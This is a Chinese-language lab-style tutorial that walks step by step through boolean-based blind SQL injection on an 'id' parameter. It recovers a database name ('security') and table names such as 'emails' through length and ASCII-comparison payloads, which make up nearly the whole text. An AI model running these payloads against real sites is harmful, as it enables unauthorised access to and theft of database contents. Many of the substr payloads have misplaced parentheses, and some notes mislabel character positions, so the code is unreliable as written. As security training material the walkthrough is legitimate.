一.首先进行注入点判断
输入:
?id=1' and 1=1--+
?id=1' and 1=2--+ //1=1页面显示正常 1=2页面缺少
由以上可知是字符型注入
二.爆数据库
通过length函数确定长度
?id=1' and length(database())=9 --+ //页面错误 说明数据库的长度不等于9
?id=1' and length(database())=8 --+
由上面可知,数据库的长度等于8
三.爆数据库名
通过ASCII值推出数据库名
?id=1' and ascii(substr(database()),1,1))=115 --+
?id=1' and ascii(substr(database()),2,1))>97 --+ //说明ASCII值是大于97
?id=1' and ascii(substr(database()),2,1))=99 --+ //页面错误
?id=1' and ascii(substr(database()),2,1))=100 --+//同上
?id=1' and ascii(substr(database()),2,1))=101 --+//页面正常
?id=1' and ascii(substr(database()),3,1))=98 --+ //页面错误
?id=1' and ascii(substr(database()),3,1))=99 --+ //页面正常
?id=1' and ascii(substr(database()),4,1))>115 --+//页面正常 说明第三个字母是大于115的
?id=1' and ascii(substr(database()),4,1))=116 --+//页面错误
?id=1' and ascii(substr(database()),4,1))=117 --+//页面正常
?id=1' and ascii(substr(database()),5,1))>110 --+//页面正常
?id=1' and ascii(substr(database()),5,1))=115 --+//页面正常
?id=1' and ascii(substr(database()),6,1))=105 --+//页面正常
?id=1' and ascii(substr(database()),7,1))=116 --+//页面正常
?id=1' and ascii(substr(database()),8,1))=121 --+//页面正常
第一个是s,页面显示正常
101, 第二个是e
第三个输入 98 99
第四个输入 116 117 第四个是u
继续按照之前爆破方式,可得数据库名为security
四.爆表名
1.判断表的长度
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ //结果数量为4
由上面可以得到,表长度为4
2. 判断第一个表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
2.判断表的字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>79 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+
说明第一个表的字符大于79
当输入为101时 第一个表的字符为e
第二个字符为m
根据以上两个值可以进行一定的猜测,然后将对一个的ASCII值代入其中进行试验
输入 97
所以进行推测第一个表为emails<